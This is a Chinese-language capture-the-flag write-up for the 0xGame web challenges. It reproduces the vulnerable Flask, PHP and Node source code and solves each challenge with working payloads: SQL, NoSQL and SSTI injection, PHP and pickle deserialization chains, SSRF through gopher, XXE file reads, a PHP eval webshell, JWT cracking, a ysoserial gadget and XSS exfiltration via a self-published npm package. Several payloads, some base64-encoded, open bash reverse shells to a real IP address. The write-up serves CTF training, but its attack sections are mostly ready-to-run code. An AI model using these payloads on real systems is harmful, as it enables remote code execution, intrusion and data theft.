0xGame
Round1
ez_rce
源码:
from flask import Flask, request
import subprocessapp = Flask(__name__)@app.route("/")
def index():return open(__file__).read()@app.route("/calc", methods=['POST'])
def calculator():expression = request.form.get('expression') or "114 1000 * 514 + p"result = subprocess.run(["dc", "-e", expression],capture_output=True,text=True)return result.stdoutif __name__ == "__main__":app.run(host="0.0.0.0", port=8000)
ez_sql
sqlite数据库
sqlite_master特殊表,存储
?id=0 union select 1,2,3,4,sql from sqlite_master;
?id=0 union select 1,2,3,4,flag from flag;
ez_ssti
源码:
from flask import Flask, request, render_template, render_template_string
import os
app = Flask(__name__)flag=os.getenv("flag")
os.unsetenv("flag")
@app.route('/')
def index():return open(__file__, "r").read()@app.errorhandler(404)
def page_not_found(e):print(request.root_url)return render_template_string("<h1>The Url {} You Requested Can Not Found</h1>".format(request.url))if __name__ == '__main__':app.run(host="0.0.0.0", port=8000)
这里为了不被fenjing梭了,使用了如下操作,这里unsetenv只会把环境变量里的flag删掉,但是不会删掉flag这个变量
flag=os.getenv("flag")
os.unsetenv("flag")
我们需要从拿到当前模块也就是__main__然后就能拿flag,__main__.flag
这里主要就是怎么拿__main__,可以通过拿sys模块,sys模块里有全部被导入的模块
{{x.__init__.__globals__['__builtins__']["__import__"]('sys').modules['__main__'].flag}}
ez_unser
源码:
<?php
highlight_file(__FILE__);
class Man{private $name="原神,启动";public function __wakeup(){echo str_split($this->name);}
}
class What{private $Kun="两年半";public function __toString(){echo $this->Kun->hobby;return "Ok";}
}
class Can{private $Hobby="唱跳rap篮球";public function __get($name){var_dump($this->Hobby);}
}
class I{private $name="Kobe";public function __debugInfo(){$this->name->say();}}
class Say{private $evil;public function __call($name, $arguments){$this->evil->Evil();}
}
class Mamba{public function Evil(){$filename=time().".log";file_put_contents($filename,$_POST["content"]);echo $filename;}
}
class Out{public function __call($name,$arguments){$o = "./".str_replace("..", "第五人格",$_POST["o"]);$n = $_POST["n"];rename($o,$n);}
}
unserialize($_POST["data"]);
__debugInfo(): 当通过var_dump() 打印对象时该函数就会被调用
第一条链子写木马文件调用到Mamba::Evil()
<?php
class Man{private $name;public function __construct(){$this->name=new What();}
}
class What{private $Kun="两年半";public function __construct(){$this->Kun = new Can();}
}
class Can{private $Hobby="唱跳rap篮球";public function __construct(){$this->Hobby = new I;}
}
class I{private $name="Kobe";public function __construct(){$this->name=new Say();}}
class Say{private $evil;public function __call($name, $arguments){$this->evil->Evil();}
}
class Mamba{public function Evil(){$filename=time().".log";file_put_contents($filename,$_POST["content"]);echo $filename;}
}
class Out{public function __call($name,$arguments){$o = "./".str_replace("..", "第五人格",$_POST["o"]);$n = $_POST["n"];rename($o,$n);}
}$man=new Man();
echo urlencode(serialize($man));
第二条更改文件名字,调用到Out::__call
<?php
class Man{private $name;public function __construct(){$this->name=new What();}
}
class What{private $Kun="两年半";public function __construct(){$this->Kun = new Can();}
}
class Can{private $Hobby="唱跳rap篮球";public function __construct(){$this->Hobby = new I;}
}
class I{private $name="Kobe";public function __construct(){$this->name=new Out();}}
class Say{private $evil;public function __call($name, $arguments){$this->evil->Evil();}
}
class Mamba{public function Evil(){$filename=time().".log";file_put_contents($filename,$_POST["content"]);echo $filename;}
}
class Out{public function __call($name,$arguments){$o = "./".str_replace("..", "第五人格",$_POST["o"]);$n = $_POST["n"];rename($o,$n);}
}$man=new Man();
echo urlencode(serialize($man));
Round2
baby_pe
算pin码
suid提权
find / -name flag
find: ‘/find’: No such file or directory
/root/flag
find: ‘/proc/1/task/1/fdinfo’: Permission denied
find: ‘/proc/1/map_files’: Permission denied
find: ‘/proc/1/fdinfo’: Permission denied
find: ‘/proc/7/task/7/fdinfo’: Permission denied
find: ‘/proc/7/task/8/fdinfo’: Permission denied
find: ‘/proc/7/task/27/fdinfo’: Permission denied
find: ‘/proc/7/map_files’: Permission denied
find: ‘/proc/7/fdinfo’: Permission denied
find: ‘/proc/28/task/28/fdinfo’: Permission denied
find: ‘/proc/28/map_files’: Permission denied
find: ‘/proc/28/fdinfo’: Permission denied
find: ‘/proc/31/task/31/fdinfo’: Permission denied
find: ‘/proc/31/map_files’: Permission denied
find: ‘/proc/31/fdinfo’: Permission denied
find: ‘/proc/32/task/32/fdinfo’: Permission denied
find: ‘/proc/32/map_files’: Permission denied
find: ‘/proc/32/fdinfo’: Permission denied
/flag
找到flag位置
baby_pickle
源码:
import pickle
from flask import Flask, request
from base64 import b64decodeapp = Flask(__name__)
UserPool = {}
BlackList = [b'\x00', b'\x1e', b'system', b'popen', b'os', b'sys', b'posix']class User:username = Nonepassword = None@app.route('/')
def index():return open(__file__).read()@app.route('/login', methods=['POST'])
def login():data = request.form.get('data')if data is not None:opcode = b64decode(data)for word in BlackList:if word in opcode:return "Hacker!"user = pickle.loads(opcode)print(user)return "<h1>Hello {}</h1>".format(user.username)else:username = request.form.get('username')password = request.form.get('password')if username in UserPool.keys() and password == UserPool[username].password:return "<h1>Hello {}</h1>".format(User.username)@app.route('/register', methods=['POST'])
def register():username = request.form.get('username')password = request.form.get('password')if username in UserPool.keys():return "<h1>用户{}已存在</h1>".format(username)UserPool[username] = passwordreturn "<h1>注册成功</h1>"if __name__ == '__main__':app.run(host="0.0.0.0", port=8000)
Payload:
import pickle
import pickletoolsopcode=b'''c__builtin__
eval
(S'__import__("pty").spawn([\'bash\',\'-c\',\'bash -i >& /dev/tcp/175.27.229.115/2333 0>&1\'])'
tR.
'''pickletools.dis(opcode)
result = pickle.loads(opcode)
print(result)
print(base64.b64encode(opcode).decode())
builtins.evel代替os.system,pty.spawn代替os.system
baby_ssrf
源码:
from flask import Flask, request
import os
from urllib.parse import urlparse, urlunparse
import subprocess
import socketapp = Flask(__name__)
BlackList=["127.0.0.1"
]@app.route('/')
def index():return open(__file__).read()@app.route('/cmd',methods=['POST'])
def cmd():if request.remote_addr != "127.0.0.1":return "Forbidden"if request.method == "GET":return "Hello World!"if request.method == "POST":return os.popen(request.form.get("cmd")).read()@app.route('/visit')
def visit():url = request.args.get('url')if url is None:return "No url provided"url = urlparse(url)realIpAddress = socket.gethostbyname(url.hostname)if url.scheme == "file" or realIpAddress in BlackList:return "Hacker!"result = subprocess.run(["curl","-L", urlunparse(url)], capture_output=True, text=True)# print(result.stderr)return result.stdoutif __name__ == '__main__':app.run(host='0.0.0.0',port=8000)
urlparse方法解析url
from urllib.parse import urlparseresult=urlparse('http://www.baidu.com/index.html;user?id=5#comment')
print(type(result),result)
#########
<class 'urllib.parse.ParseResult'> ParseResult(scheme='http', netloc='www.baidu.com', path='/index.html', params='user', query='id=5', fragment='comment')
这里提供cmd路由,要求必须是127.0.0.0
还提供了visit路由存在ssrf漏洞,我们可以通过gopher发POST包,然后需要绕过127.0.0.1,使用0或者127.1或者0.0.0.0可以绕过
先伪造cmd命令,必须有的是CT头和CL头,注意CL头的长度要正确
然后gopher发包,使用0.0.0.0绕过127.0.0.1成功欺骗成127.0.0.1访问
baby_xxe
源码:
from flask import Flask,request
import base64
from lxml import etree
app = Flask(__name__)@app.route('/')
def index():return open(__file__).read()@app.route('/parse',methods=['POST'])
def parse():xml=request.form.get('xml')print(xml)if xml is None:return "None"parser = etree.XMLParser(load_dtd=True, resolve_entities=True)root = etree.fromstring(xml, parser)name=root.find('name').textreturn name or Noneif __name__=="__main__":app.run(host='0.0.0.0',port=8000)
load_dtd=True表示允许加载 DTD,name=root.find('name').text表示根元素里必须有name子元素
有回显且无过滤只要满足子元素是name就可以,直接读文件,burpsuite进行url编码
<?xml version="1.0"?>
<!DOCTYPE test [<!ELEMENT test ANY ><!ENTITY ddd SYSTEM "file:///etc/passwd">
]>
<test><name>&ddd;</name></test>
hello_shell
源码:
<?php
highlight_file(__FILE__);
$cmd = $_REQUEST['cmd'] ?? 'ls';
if (strpos($cmd, ' ') !== false) {echo strpos($cmd, ' ');die('no space allowed');
}
@exec($cmd); // 没有回显怎么办?
考的是无回显RCE,可以进行mv操作
?cmd=mv%09/flag%091.txt
但是不知道flag位置,或者是没有权限,最好是弹shell
%09或者${IFS}绕过空格,使用{echo,base64编码}|{base64,-d}|{bash,-i}避免产生歧义
bash%09-c%09'{echo,YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xNzUuMjcuMjI5LjExNS8yMzMzIDA%2bJjE%3d}|{base64,-d}|{bash,-i}'
没有读根目录的权限,尝试suid提权
find / -user root -perm -4000 -print 2>/dev/null
当前目录存在wc,所以应该是wc提权
LFILE=/flag
./wc --files0-from "$LFILE"
这里输出报错信息是因为 wc
命令本身并不会显示文件的内容,而是输出统计信息,而当发生错误时,文件内容会出现在消息中,所以可以通过查看报错信息来查看文件内容
picture
pht后缀绕过php检测,图片马里用<?=eval($_POST["cmd"]);?>
Round3
Next.db
源码:
import { MongoClient } from 'mongodb';const uri = process.env.MONGODB_URI || "mongodb://127.0.0.1:27017/";
const client = new MongoClient(uri);export default async function handler(req, res) {if (req.method !== 'POST') {return res.status(405).json({ message: 'Method not allowed' });}const { name } = req.body;if (!name) {return res.status(500).json({ message: 'Name is required' });}if (name === "flag") {return res.status(500).json({ message: 'You are not allowed to search for the flag' });}try {const db = client.db('next-db');const collection = db.collection('frameworks');const results = await collection.find({$or: [{ name },{$and: [{ description: { $regex: name.toString(), $options: 'i' } },{ description: { $ne: process.env.FLAG || "flag{test}" } }]}]}).toArray();res.status(200).json(results);} catch (error) {console.error('Database query error:', error);res.status(500).json({ message: 'Internal Server Error' });}
}
它提示MongoDB,所以是Nosql的题目
永真式能得到全部数据,这里本来想做个验证,没想到直接出了,就考这个吗?
{"name": {"$ne": 1}
}
以下是预期解:
第⼆段代码在查询语句⾥⾯, 可以看到精确匹配的时候直接使⽤了 name, ⽽模糊匹配时却使⽤了 name.toString(), 这⾥其实也在暗⽰⼤家 name 变量的类型可能不⼀定是字符串
我们可以给 name 变量传⼊⼀个数组或对象
// 传⼊数组 (Array)
{
"name": [1, 2, 3]
}
// 传⼊对象 (Object)
{
"name": {"a": "b"}
}
这里Payload就是利用$eq运算符构造出name==flag
{
"name": {"$eq": "flag"} // 在 MongoDB 中查询 name == flag 的内容
}
hello_jwt
获取两个hint,一个是无密钥,一个是已知密钥,最后得到信息:密钥不长且都是小写字母,相当于已知字符集
所以就可以使用c-jwt-crack进行爆破了
./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImEiLCJyb2xlIjoiZ3Vlc3QifQ.IPy5S15HFohAfuc9bh7Nii22d5ijKlVZ_31KrAJLQaM abcdefghijklmnopqrstuvwxyz
然后伪造jwt,访问/flag就行了
import jwttoken = jwt.encode({"username": "a","role": "admin",},key="zrajz",algorithm="HS256").encode(encoding='utf-8')print(token)
WhySoSerial
jadx反编译在pom.xml发现使用了commons-collections3.2.1
直接拿工具梭的
有不同gadget
java -jar ysoserial-all.jar CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzUuMjcuMjI5LjExNS8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}"|base64
cargo_shop
提示:i32 和 u32 有什么区别呢?
主要区别:
符号:
-
i32
可以表示正数和负数。-
u32
只能表示非负整数(0 或正数)。范围:
-
i32
的范围是-2,147,483,648
到2,147,483,647
。-
u32
的范围是0
到4,294,967,295
。
计算花销的逻辑是:let costs = (goods.price * count) as i32;
count传入的逻辑是u32,如果让costs为负值呢,测试后无果,但是还有一个思路,使用超出i32范围的数字造成整数溢出
然后就能买flag了
paste_bin
考点:XSS和CSP绕过
提示:
关注前端的 HTML, JS 和后端的 src/bot.rs 即可, 其它代码不重要
什么是 Content-Security-Policy?
尝试将 payload 塞到 iframe 标签的 srcdoc 属性里面
unpkg 和 jsdelivr 是什么? 有什么用?
题目给了全部源码
let js = format!("localStorage.setItem('flag', '{}');", flag);
这里指定flag在localStorage
里面
CSP是这样的
base-uri 'none'; style-src 'unsafe-inline'; script-src 'self' 'sha256-mDsn/yxO0Kbxaggx7bFdeBmrC22U6cePGEUeeSwO+n0=' cdn.tailwindcss.com unpkg.com cdn.jsdelivr.net;
仅写成了unpkg.com,没有指定是unpkg.com/xxx
所以我们可以将xxx为自己的库,库里写上恶意代码,让其加载我们库里的恶意代码
npm login登录自己的npm库https://www.npmjs.com
代码写好npm init(一直回车默认就行)
然后npm publish就行了
https://unpkg.com/m1xian@1.0.0/index.js
对应自己的npm库https://www.npmjs.com/package/m1xian
exp.js
let flag = localStorage.getItem('flag');
location.href = 'http://vps_ip:2333/?flag=' + flag;
结果没拿到??没找到原因
Round 4
basic_flask
源码:
from flask import Flask, request
import jsonapp = Flask(__name__)'''
'''
def merge(src, dst):# Recursive merge functionfor k, v in src.items():if hasattr(dst, '__getitem__'):if dst.get(k) and type(v) == dict:merge(v, dst.get(k))else:dst[k] = velif hasattr(dst, k) and type(v) == dict:merge(v, getattr(dst, k))else:setattr(dst, k, v)class Dst():def __init__(self):passdst = Dst()@app.route('/',methods=['GET','POST'])
def index():if request.method=='GET':return open("main.py").read()merge(request.get_json(), dst)return "Success"if __name__ == '__main__':app.run(host="0.0.0.0", port=8000)
污染静态目录为根目录。然后读flag
读flag
basic_pwn
源码:
from flask import Flask, requestapp = Flask(__name__)functions=globals()['__builtins__'].__dict__@app.route('/', methods=['GET'])
def index():return open(__file__).read()@app.route('/pwn',methods=['POST'])
def pwn():stack = []stack.append('print')name=request.get_json().get("name")if not name:return "Fail"stack.extend(name)args=stack.pop()func=stack.pop()functions[func](args)return "Success"if __name__ == '__main__':app.run(host='0.0.0.0', port=8000)
和pwn没啥关系,很简单
直接上Payload
{"name": ["eval","__import__(\"os\").popen(\"bash -c 'bash -i >& /dev/tcp/175.27.229.115/2333 0>&1'\").read()"]
}
弹shell
flag在env里
Jenkins
网上有exp,没啥意思
MySQL 客⼾端任意⽂件读取
https://github.com/rmb122/rogue_mysql_server
将此工具下载解压到vps上,然后file_list
里加上/flag
database填/flag,没搞懂为什么
./rogue_mysql_server
启动mysql服务器
然后在loot文件夹里拿到读取的flag